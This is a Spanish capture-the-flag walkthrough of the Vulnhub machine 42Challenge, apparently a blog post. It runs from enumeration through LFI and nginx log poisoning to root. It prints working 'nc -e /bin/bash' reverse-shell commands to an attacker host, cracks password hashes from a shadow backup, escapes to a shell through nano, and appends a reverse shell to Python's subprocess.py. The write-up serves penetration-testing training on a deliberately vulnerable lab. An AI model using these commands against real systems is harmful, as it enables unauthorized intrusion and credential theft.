[VLN] 42Challenge

Hoy vamos a hackear la maquina de Vulnhub llamada 42Challenge. Podeis descargarla desde el siguiente enlace: https://www.vulnhub.com/entry/42challenge-1,465/
  • Video
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    sml@Cassandra:~$ nmap -A -p- 192.168.1.55 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 11:51 CEST Nmap scan report for 42Challenge.home (192.168.1.55) Host is up (0.011s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 94:8a:b4:a8:28:76:56:ce:49:d6:d5:6c:11:e5:38:dd (RSA) | 256 8c:f7:82:be:14:11:01:cd:d3:07:3b:87:6b:b7:fd:4c (ECDSA) |_ 256 45:56:fc:1d:10:a9:62:6f:4f:ae:66:36:aa:86:d2:e9 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Ip Pinger Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds
    Exploramos un poco mas el HTTP.
    sml@Cassandra:~$ gobuster dir -u http://192.168.1.55 -w /usr/share/wordlists/dirb/big.txt -x php,txt,html =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://192.168.1.55 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,txt,html [+] Timeout: 10s =============================================================== 2020/06/19 12:12:48 Starting gobuster =============================================================== /flag.txt (Status: 200) /index.php (Status: 200) /logs (Status: 301) =============================================================== 2020/06/19 12:12:58 Finished ===============================================================
    Visitamos http://192.168.1.55/index.php y vemos que podemos introducir una IP y al darle al boton "Make a ping", nos devuelve el resultado. Si hacemos ping por ejemplo a 1.1.1.1, nos redirige a la URL http://192.168.1.55/index.php?log=logs/192.168.1.148.log la cual muestra la "salida" del comando. Eso quiere decir que la salida se guarda en un fichero "IP.log", y a traves del parametro "log" nos muestra el contenido de ese fichero. Si miramos el codigo, podemos ver:
    const file = urlParams.get('log') if (file.includes('logs/') && file.includes('.log')) { var correct_logfile = 1; } else { var correct_logfile = 0; } if (correct_logfile == 0) { alert("Sorry, you are not allowed to read this file."); window.location.replace("index.php");
    Sabiendo esto, vemos que se esperan los strings logs/ y .log, vamos a probar a agregarle otro parametro log apuntando hacia un fichero que nos gustaria ver... Hemos visto que el server HTTP es Nginx, asi que vamos a ver si podemos ver algo de sus logs...Si visitamos: http://192.168.1.55/index.php?log=logs/192.168.1.148.log&log=/var/log/nginx/acce ss.log Podemos leerlo :) Vamos a "envenenar" los logs de nginx, para que al acceder a ellos podamos ejecutar algun comando, para ello: 1) Arrancamos Burp. 2) Visitamos index.php 3) Cogemos esa request y la mandamos a repeater. 4) Modificamos el User Agent con: User-Agent: Mozilla/5.0 Firefox/68.0 Una vez hecho los pasos anteriores, ponemos nc a la escucha.
    sml@Cassandra:~$ nc -nlvp 5555 listening on [any] 5555 ...
    Y visitamos: http://192.168.1.55/index.php?log=logs/192.168.1.148.log&log=/var/log/nginx/acce ss.log&cmd=nc%20-e%20/bin/bash%20192.168.1.148%205555
  • Low Shell
  • sml@Cassandra:~$ nc -nlvp 5555 listening on [any] 5555 ... connect to [192.168.1.148] from (UNKNOWN) [192.168.1.65] 41810 python -c 'import pty; pty.spawn("/bin/bash")' www-data@42Challenge:~/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Ya estamos dentro!
  • www-data_flag.txt
  • www-data@42Challenge:~/html$ ls flag.txt index.php logs www-data@42Challenge:~/html$ cat flag.txt 42challenge{www-data_d009633c1bea90aef338fae768aec8fd}
    Exploramos un poco el sistema
    www-data@42Challenge:~/html$ cd /var/backups www-data@42Challenge:/var/backups$ ls -l ---SNIP--- -rw-r--r-- 1 root shadow 1670 Feb 29 10:32 shadow_backup.bak ---SNIP--- www-data@42Challenge:/var/backups$ cat shadow_backup.bak ---SNIP--- marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmo qakgYx0Bg651WOM0cvKdwhaG.:18319:0:99999:7::: sshd:*:18317:0:99999:7::: mysql:!:18318:0:99999:7::: lucas:$6$zBETbEhW$rF/A44Y5NCJATkFfD4Qu4lzebQ/PW5/kPD1WKTzf6/uSt4PtPXESIENWW5xd9P sKGu7k2hCLI9uz7s8HyNHdv.:18318:0:99999:7::: maria:$6$jD/TgaEw$6HAWM6i4NUsMtSUkqx1d60cdQTLJTWIN/9Y5Qmr0pShdkhiZ/M465WwFDUj4HK nuKZuHc53GPNJg01uY/9DPQ0:18318:0:99999:7::: ---SNIP---
    En /var/backups encontramos el fichero shadow_backup.bak, usaremos john para ver si podemos crackear algun password. En este caso, creamos el fichero e.txt que contiene: marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmo qakgYx0Bg651WOM0cvKdwhaG. Y procedemos a crackearlo.
    sml@Cassandra:~$ cat e.txt marvin:$6$xVRWEeia$uYlk5.Jgo0A69ykQguBDzY8AeUjvHKwj577rTmn82R6enY9r630TbgRWJmnmo qakgYx0Bg651WOM0cvKdwhaG. sml@Cassandra:~$ sudo /usr/sbin/john e.txt --wordlist=rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status marvinthemartian (marvin) 1g 0:00:01:03 DONE (2020-06-22 09:00) 0.01578g/s 6366p/s 6366c/s 6366C/s mattie21..mariojosue Use the "--show" option to display all of the cracked passwords reliably Session completed
    La password de marvin es marvinthemartian :) La usamos para conectarnos por ssh.
  • marvin_flag.txt
  • sml@Cassandra:~$ ssh marvin@192.168.1.55 marvin@192.168.1.55's password: :dMMMMMMMMd: oMMMMMMMdyMMMMMMMMM /mMMMMMMMNh- oMMMh: +MMMMMMMMM +mMMMMMMMNy- -- .yMMMMMMMMm .+mMMMMMMMNs- .oNMMMMMMMd/ .omMMMMMMMmo. -sNMMMMMMMh/ . MMMMMMMMMMMMMMMMMMMMMMMMMMMm oMMMMMMMMN -sN MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMM MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMMMM yyyyyyyyyyyyyyyyyyNMMMMMMMMN oMMMMMMMMN:hNMMMMMM mMMMMMMMMN -ooooooooo+oooooooo mMMMMMMMMN mMMMMMMMMN mMMMMMMMMN Welcome to the 42Challenge Last login: Tue Apr 14 12:43:13 2020 from 192.168.1.91 marvin@42Challenge:~$ cat flag.txt 42challenge{marvin_92e8dd9db0b4bd058eaa3ae340c41900}
    Vemos si encontramos algo interesante...
    marvin@42Challenge:~$ find / -perm -4000 2>/dev/null /bin/fusermount /bin/umount /bin/su /bin/mount /bin/ping /usr/bin/gpasswd /usr/bin/sudo /usr/bin/Lucas_Access
    Encontramos el fichero /usr/bin/Lucas_Access el cual si lo ejecutamos nos pide un password. Lo copiamos en nuestra maquina para investigarlo un poco mas...
    sml@Cassandra:~$ scp marvin@192.168.1.55:/usr/bin/Lucas_Access . marvin@192.168.1.55's password: Lucas_Access 100% 13KB 3.8MB/s 00:00
    Usamos gdb para ver que podemos encontrar.
    sml@Cassandra:~$ gdb ./Lucas_Access ---SNIP--- Reading symbols from ./Lucas_Access... (No debugging symbols found in ./Lucas_Access) gdb-peda$ disas main 0x0000000000000a68 <+110>: mov eax,0x0 0x0000000000000a6d <+115>: call 0x8ea 0x0000000000000a72 <+120>: jmp 0xae5 0x0000000000000a74 <+122>: lea rax,[rbp-0x30] 0x0000000000000a78 <+126>: mov rdi,rax 0x0000000000000a7b <+129>: call 0x901 0x0000000000000a80 <+134>: test eax,eax 0x0000000000000a82 <+136>: je 0xa90
    Al hacer disas main, vemos la funcion "try". La exploramos un poco.
    gdb-peda$ disas try 0x000000000000092a <+41>: movabs rsi,0x635036735f466433 0x0000000000000934 <+51>: mov QWORD PTR [rax],rsi 0x0000000000000937 <+54>: mov BYTE PTR [rax+0x8],0x0 0x000000000000093b <+58>: mov rax,QWORD PTR [rbp-0x8] 0x000000000000093f <+62>: mov rcx,0xffffffffffffffff 0x0000000000000946 <+69>: mov rdx,rax 0x0000000000000949 <+72>: mov eax,0x0 0x000000000000094e <+77>: mov rdi,rdx 0x0000000000000951 <+80>: repnz scas al,BYTE PTR es:[rdi] 0x0000000000000953 <+82>: mov rax,rcx 0x0000000000000956 <+85>: not rax 0x0000000000000959 <+88>: lea rdx,[rax-0x1] 0x000000000000095d <+92>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000000961 <+96>: add rax,rdx 0x0000000000000964 <+99>: movabs rsi,0x7a5a5f45726d246a 0x000000000000096e <+109>: mov QWORD PTR [rax],rsi
    Tras mirar el codigo, vemos que la funcion tiene 2 strings los cuales concatena y luego va comparando si es igual a nuestro string. Si jugamos un poco con la funcion, vemos que al final nos muestra el string que necesitamos...
    gdb-peda$ break try Breakpoint 1 at 0x905 gdb-peda$ run `/home/sml/Lucas_Access' has changed; re-reading symbols. (no debugging symbols found) Starting program: /home/sml/Lucas_Access Welcome to the Lucas access system. Please, type the password: OMG R8 : 0x555555757ac0 ("3dF_s6Pcj$mrE_Zz")
    Ahora que tenemos la "password" probamos.
    marvin@42Challenge:~$ /usr/bin/Lucas_Access Welcome to the Lucas access system. Please, type the password: 3dF_s6Pcj$mrE_Zz Welcome Lucas!, I'm happy to see you again :D lucas@42Challenge:~$ id uid=1001(lucas) gid=1001(lucas) grupos=1001(lucas),1000(marvin)
    Ya estamos dentro como lucas.
  • lucas_flag.txt
  • lucas@42Challenge:~$ cd /home/lucas lucas@42Challenge:/home/lucas$ ls flag.txt lucas@42Challenge:/home/lucas$ cat flag.txt 42challenge{lucas_1e3ed5f8be63ef05c975e92ec3c53af2}
    Echamos un vistazo a ver que puede hacer lucas.
    lucas@42Challenge:/home/lucas$ sudo -l Coincidiendo entradas por defecto para lucas en 42Challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/ snap/bin El usuario lucas puede ejecutar los siguientes comandos en 42Challenge: (maria) NOPASSWD: /bin/nano
    Bien, puede usar nano como "maria". Asi que usamos nano para obtener una shell como maria!
  • maria_flag.txt
  • lucas@42Challenge:/home/lucas$ sudo -u maria /bin/nano ^R^X reset; sh 1>&0 2>&0 $ cd /home/maria $ cat flag.txt 42challenge{maria_feb36fabc2ca4874fe0b42ed7d17d58f}
    Creamos el directorio .ssh en el /home de maria y copiamos nuestra key .pub para poder acceder desde ssh.
    $ mkdir .ssh $ cd .ssh $ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcUuJg2NOqDgmzxVJhRQP9/p4MVjcdXx3IhmtU1rrKrLyRMy0s H4DiWzhA229GYE/2E+CPOsO1O2hxdyVa+huou8isbbxXCdrHnj8VK2I9IiGDGX0Lqi/KAKmwNhLhEuIr k7KVWgKvLwRFYLW8ObSfsijiObw57M1gh95i2mEDNe/NvNLySbmReWfLCTRdE93YSVHPMOV3U0wKqlY9 8PYcOWhbC1pJj602/n0gN7OwZ7h88X5eyU347rV5CAcdL4YCihqB3th2otLi6oaDX0CxNOHaGYH+kj3z C/PopaJ/g3DopdFxb3+Kr3FcyvMTd9kfF0FdM1ZwoilXRV4HEa8h3M5+876kkpZCgpVnAu+NiUaKhb+I PKjkwxSz8hyjXxnBqHMp9LXkXOPAxNTJT2KILYRklPlIlQW68ZzbvdX4N66wGHGGg3VNivPyv60fadvv sBJaYhFRw4YDFepWMqMSaP2dNijyAFWLg1cE7W+2GG25+625/dEbGCPCVDFq0/E= sml@Cassandra" >> authorized_keys
    Accedemos por ssh.
    sml@Cassandra:~$ ssh maria@192.168.1.55 :dMMMMMMMMd: oMMMMMMMdyMMMMMMMMM /mMMMMMMMNh- oMMMh: +MMMMMMMMM +mMMMMMMMNy- -- .yMMMMMMMMm .+mMMMMMMMNs- .oNMMMMMMMd/ .omMMMMMMMmo. -sNMMMMMMMh/ . MMMMMMMMMMMMMMMMMMMMMMMMMMMm oMMMMMMMMN -sN MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMM MMMMMMMMMMMMMMMMMMMMMMMMMMMN oMMMMMMMMN -yNMMMM yyyyyyyyyyyyyyyyyyNMMMMMMMMN oMMMMMMMMN:hNMMMMMM mMMMMMMMMN -ooooooooo+oooooooo mMMMMMMMMN mMMMMMMMMN mMMMMMMMMN Welcome to the 42Challenge Last login: Mon Apr 13 12:48:08 2020 from 192.168.1.91 maria@42Challenge:~$
    Nos descargamos pspy64 para ver que hace el sistema.
    maria@42Challenge:/tmp$ wget http://192.168.1.148/pspy64 --2020-06-23 12:28:51-- http://192.168.1.148/pspy64 Conectando con 192.168.1.148:80... conectado. Petición HTTP enviada, esperando respuesta... 200 OK Longitud: 3078592 (2,9M) [application/octet-stream] Guardando como: “pspy64†pspy64 100%[===================>] 2,94M --.-KB/s en 0,02s 2020-06-23 12:28:51 (120 MB/s) - “pspy64†guardado [3078592/3078592] maria@42Challenge:/tmp$ chmod +x pspy64 maria@42Challenge:/tmp$ ./pspy64
    Al ejecutarlo vemos cosas interesantes:
    ---SNIP--- 2020/06/23 12:29:31 CMD: UID=1004 PID=1973 | python /home/laura/Server_Status.py 2020/06/23 12:29:31 CMD: UID=1004 PID=1971 | /bin/sh -c python /home/laura/Server_Status.py >/dev/null 2>&1 2020/06/23 12:29:31 CMD: UID=0 PID=1970 | /usr/sbin/CRON -f 2020/06/23 12:29:31 CMD: UID=1003 PID=1920 | /bin/bash 2020/06/23 12:29:31 CMD: UID=1003 PID=1919 | python -c import pty; pty.spawn("/bin/bash") 2020/06/23 12:29:31 CMD: UID=1003 PID=1916 | bash 2020/06/23 12:29:31 CMD: UID=1003 PID=1915 | sh /home/maria/Send_Reporting_Email.sh ---SNIP--
    Podemos ver que el usuario pedro (UID 1003) ejecuta el script /home/maria/Send_Reporting_Email.sh y por otro lado que el usuario laura (UID 1004) ejecuta el script /home/laura/Server_Status.py. Ya que tenemos permisos para escribir en /home/maria, vamos a crear el script que ejecuta "pedro" para obtener una reverse shell... Ponemos nc a la escucha:
    sml@Cassandra:~$ nc -nlvp 8888 listening on [any] 8888 ...
    Creamos el script que nos dara la reverse shell.
    maria@42Challenge:~$ echo "nc -e /bin/bash 192.168.1.148 8888" >> Send_Reporting_Email.sh
    Y tras esperar...
  • pedro_flag.txt
  • sml@Cassandra:~$ nc -nlvp 8888 listening on [any] 8888 ... connect to [192.168.1.148] from (UNKNOWN) [192.168.1.65] 59340 python -c 'import pty; pty.spawn("/bin/bash")' pedro@42Challenge:~$ cat flag.txt 42challenge{pedro_6b849447404a8ddb95936e9804305fa6}
    Exploramos un poco el sistema.
    pedro@42Challenge:~$ cat .viminfo ---SNIP--- # Lista de saltos (el más reciente va primero): -' 1344 0 /usr/lib/python2.7/subprocess.py |4,39,1344,0,1584204054,"/usr/lib/python2.7/subprocess.py" -' 1 0 /usr/lib/python2.7/subprocess.py |4,39,1,0,1584204042,"/usr/lib/python2.7/subprocess.py" # Historia de las marcas en los archivos (de la más reciente a la más antigua): > /usr/lib/python2.7/subprocess.py * 1584204053 0 " 1344 0 ---SNIP--- pedro@42Challenge:~$ ls -l /usr/lib/python2.7/subprocess.py -rw-rw-rw- 1 root root 51259 abr 13 13:17 /usr/lib/python2.7/subprocess.py
    Vemos que pedro ha estado jugando con el fichero /usr/lib/python2.7/subprocess.py, para el cual tenemos permisos de escritura. Por otro lado, vemos el contenido del script que ejecuta laura cada cierto tiempo.
    pedro@42Challenge:~$ cat /home/laura/Server_Status.py cat /home/laura/Server_Status.py import os import subprocess def is_service_running(name): with open(os.devnull, 'wb') as hide_output: exit_code = subprocess.Popen(['service', name, 'status'], stdout=hide_output, stderr=hide_output).wait() return exit_code == 0 if not is_service_running('ssh'): print 'SSH: is not running' else: print 'SSH: is running' if not is_service_running('nginx'): print 'Nginx: is not running' else: print 'Nginx: is running'
    Ejecuta la libreria subprocess, la cual podemos editar :) Dicho esto, la modificamos para obtener una reverse shell como laura... Ponemos nc a la escucha:
    sml@Cassandra:~$ nc -nlvp 9999 listening on [any] 9999 ...
    Editamos /usr/lib/python2.7/subprocess.py
    pedro@42Challenge:~$ echo "os.system(\"nc -e /bin/bash 192.168.1.148 9999\")" >> /usr/lib/python2.7/subprocess.py
    Y...
  • laura_flag.txt
  • sml@Cassandra:~$ nc -nlvp 9999 listening on [any] 9999 ... connect to [192.168.1.148] from (UNKNOWN) [192.168.1.55] 59340 python -c 'import pty; pty.spawn("/bin/bash")' laura@42Challenge:~$ pedro@42Challenge:~$ cat flag.txt 42challenge{laura_f43b25e765a8f79a24cedd76753d38c2}
    Miramos a ver que puede hacer laura.
    laura@42Challenge:~$ sudo -l Coincidiendo entradas por defecto para laura en 42Challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/ snap/bin El usuario laura puede ejecutar los siguientes comandos en 42Challenge: (root) NOPASSWD: /home/laura/test
    Puede ejecutar /home/laura/test como root... Creamos un enlace de bash, como "test", y lo ejecutamos con sudo.
  • Privilege Escalation
  • laura@42Challenge:~$ ln -s /bin/bash test laura@42Challenge:~$ sudo /home/laura/test root@42Challenge:~# cd /root root@42Challenge:/root# id uid=0(root) gid=0(root) grupos=0(root)
  • root_flag.txt
  • root@42Challenge:/root# ls flag.txt root@42Challenge:/root# cat flag.txt 42challenge{root_b66b33ade4d6aacb37d84353074d5aed}
  • End
  • Y con esto ya seriamos root de la maquina :)